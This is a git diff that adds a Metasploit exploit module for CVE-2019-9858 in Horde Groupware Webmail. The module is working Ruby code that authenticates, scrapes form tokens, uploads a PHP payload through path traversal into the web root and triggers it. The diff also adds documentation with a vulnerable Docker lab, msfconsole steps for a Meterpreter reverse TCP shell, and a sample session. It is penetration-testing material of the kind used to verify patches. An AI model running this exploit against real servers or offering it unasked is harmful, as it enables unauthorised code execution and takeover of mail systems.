diff --git a/documentation/modules/exploit/multi/http/horde_form_file_upload.md b/documentation/modules/exploit/multi/http/horde_form_file_upload.md new file mode 100644 index 0000000000..1d366dca0d --- /dev/null +++ b/documentation/modules/exploit/multi/http/horde_form_file_upload.md @@ -0,0 +1,101 @@ +Horde Groupware Webmail is a popular open-source groupware platform written in PHP. A vulnerability allows an authenticated, unprivileged user to create a malicious PHP file under the web root and gain arbitrary code execution on the server. + +## Vulnerable Application + +The Horde subcomponent Horde Form < 2.0.19 is affected. This module was specifically tested against Horde Groupware Webmail Edition 5.2.22 and 5.2.17 with Horde Form 2.0.18 installed with PEAR on Debian. + +### Docker install on Ubuntu 18.04 + +Please folow these steps to setup a vulnerable version of Horde in Docker on a Ubuntu. + +1. Set up a [Ubuntu](http://www.ubuntu.com/) 18.04 box. +2. Open a terminal, and enter: ```sudo apt-get install docker.io```. Make sure Docker is properly configured and your current user has permession to use it. +3. Enter: ```mkdir horde_form_file_upload``` to create a folder. +4. Enter: ```cd horde_form_file_upload``` to enter that folder. +5. Create a ```Dockerfile``` in it with the following content. + +``` +FROM debian + +RUN apt-get update +RUN apt-get install --yes --no-install-recommends \ + apache2 \ + ca-certificates \ + dovecot-imapd \ + libapache2-mod-php \ + mysql-server \ + php-mysqli \ + php-pear \ + rsyslog + +RUN pear upgrade PEAR +RUN pear channel-discover pear.horde.org +RUN pear install horde/horde_role +RUN rm -r /var/www/html/ && mkdir /var/www/html/ +RUN echo /var/www/html/ | pear run-scripts horde/Horde_Role +RUN pear install -a -B horde/webmail-5.2.22 +# Uninstall end reinstall the vulnerable version +RUN pear uninstall -n horde/Horde_Form +RUN pear install -a -B horde/Horde_Form-2.0.18 +RUN sed -i "/'secure' => 'tls',/d" /var/www/html/imp/config/backends.php +RUN chown -R www-data:www-data /var/www/html/ + +RUN useradd -m -G mail user && echo 'user:user' | chpasswd + +RUN echo 'disable_plaintext_auth = no' | tee /etc/dovecot/conf.d/99-auth.conf + +ENTRYPOINT \ + /etc/init.d/mysql start && \ + echo 'CREATE DATABASE IF NOT EXISTS horde;' | mysql && \ + echo 'CREATE USER IF NOT EXISTS horde;' | mysql && \ + echo 'GRANT ALL ON horde.* TO horde IDENTIFIED BY "horde";' | mysql && \ + { echo mysqli; sleep 0.3; \ + echo horde; sleep 0.3; \ + echo horde; sleep 0.3; \ + echo tcp; sleep 0.3; \ + echo localhost; sleep 0.3; \ + echo; sleep 0.3; \ + echo horde; sleep 0.3; \ + echo; sleep 0.3; \ + echo false; sleep 0.3; \ + echo; sleep 0.3; \ + echo 1; sleep 0.3; } | webmail-install && \ + dovecot && \ + /etc/init.d/apache2 start && \ + tail -F /var/log/apache2/access.log /var/log/syslog +``` + +6. Enter: ```docker build . -t horde-img``` to build the Docker image. +7. Enter: ```docker run -p8888:80 --name horde-inst horde-img``` to run the Docker instance with the name ```horde-inst```. +8. Get the Docker host ip for reverse connection. In Linux, enter: ```ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+'```. + +## Verification Steps + +After setting up Horde, you can use your exploit module: + +1. Start msfconsole +2. Do: ```use exploit/multi/http/horde_form_file_upload``` +3. Do: ```set RHOSTS 127.0.0.1``` +4. Do: ```set RPORT 8888``` +5. Do: ```set payload php/meterpreter/reverse_tcp``` +6. Do: ```set LHOST [HOST IP]``` +7. Do: ```set VHOST horde.lab``` +8. Do: ```set USERNAME user ``` +9. Do: ```set PASSWORD user``` +10. Do: ```exploit``` +11. And you should get a session + +## Scenarios + +### Horde Groupware Webmail Edition 5.2.22 with Horde Form 2.0.18 on a Debian stretch on Docker running on an Ubuntu 16.04 + +``` +msf exploit(multi/http/horde_form_file_upload) > exploit + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Uploading payload to ../var/www/html/static/mxkyfrlztogn.php +[*] Sending stage (38247 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:47720) at 2019-03-29 15:27:53 +0000 + +meterpreter > +``` diff --git a/modules/exploits/multi/http/horde_form_file_upload.rb b/modules/exploits/multi/http/horde_form_file_upload.rb new file mode 100644 index 0000000000..2c3a0d5aa8 --- /dev/null +++ b/modules/exploits/multi/http/horde_form_file_upload.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Horde Form File Upload Vulnerability', + 'Description' => %q{ + Horde Groupware Webmail contains a flaw that allows an authenticated remote + attacker to execute arbitrary PHP code. The exploitation requires the Turba + subcomponent to be installed. + + This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ratiosec', + ], + 'References' => + [ + ['CVE', '2019-9858'], + ['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'], + ], + 'DisclosureDate' => 'Mar 24 2019', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic', { }], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']), + OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html']) + # Appears to be '/usr/share/horde/' if installed with apt + ]) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def webroot + datastore['WEB_ROOT'] + end + + def horde_login(user, pass) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'login.php') + ) + + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + + session_cookie = res.get_cookies + vprint_status("Logging in...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'login.php'), + 'cookie' => session_cookie, + 'vars_post' => { + 'horde_user' => user, + 'horde_pass' => pass, + 'login_post' => '1' + } + ) + + return res.get_cookies if res && res.code == 302 + [] + end + + def get_tokens(cookie) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'turba', 'add.php'), + 'cookie' => cookie + ) + + if res && res.code == 200 + source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten + unless source_tokens.empty? + form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten + return source_tokens[0], form_tokens[0], res.get_cookies + end + end + nil + end + + def exploit + vprint_status("Authenticating using #{username}:#{password}") + + cookie = horde_login(username, password) + fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty? + vprint_good("Authenticated to Horde.") + + tokens = get_tokens(cookie) + fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil? + source_token, form_token, secret_cookie = tokens + + vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.") + + payload_name = Rex::Text.rand_text_alpha_lower(10..12) + payload_path = File.join(webroot, "static", "#{payload_name}.php") + payload_path_traversal = File.join("..", payload_path) + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"") + data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"') + data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"') + data.add_part(source_token, nil, nil, 'form-data; name="source"') + data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"') + post_data = data.to_s + + print_status("Uploading payload to #{payload_path_traversal}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'turba', 'add.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + ' ' + secret_cookie + ) + + fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200 + + payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php") + + vprint_status("Executing the payload at #{payload_url}.") + res = send_request_cgi( + 'uri' => payload_url, + 'method' => 'GET', + ) + + register_files_for_cleanup(payload_path) + end +end